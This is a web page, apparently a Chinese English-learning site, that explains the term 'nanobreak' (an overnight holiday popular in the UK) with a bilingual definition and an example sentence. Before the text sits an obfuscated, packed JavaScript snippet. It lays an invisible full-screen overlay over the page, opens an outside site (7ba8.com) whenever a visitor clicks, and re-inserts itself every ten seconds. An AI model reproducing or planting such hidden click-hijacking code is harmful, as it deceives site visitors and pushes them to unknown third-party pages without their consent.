<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>工作忙，压力大，很多人都眼看着年假过期也不能休。可对于有些人来说，在百忙中哪怕能抽出一天的时间，他们也要出去好好放松一下。于是，“纳米假日”就应运而生了。
Nanobreak is typically a very short, i.e. overnight holiday, preferably somewhere quite exotic, which is becoming increasingly popular amongst people in the UK who want or need a holiday despite the credit crunch and despite having very little free time。
Nanobreak(纳米假日)指在居住地以外、颇具情调或迷人风景的地方度过的一个短暂假日，这种假日很短，通常都只在目的地逗留一晚。在那些饱受信贷危机困扰，也少有闲暇时间，但仍然渴望假期的英国人当中，纳米假日越来越受欢迎。
For example:
There has been a 29% increase in the number of UK holidaymakers searching for nanobreaks over the past year。
去年，英国度假者中搜索纳米假日的人数增加了29%。 |
|
收藏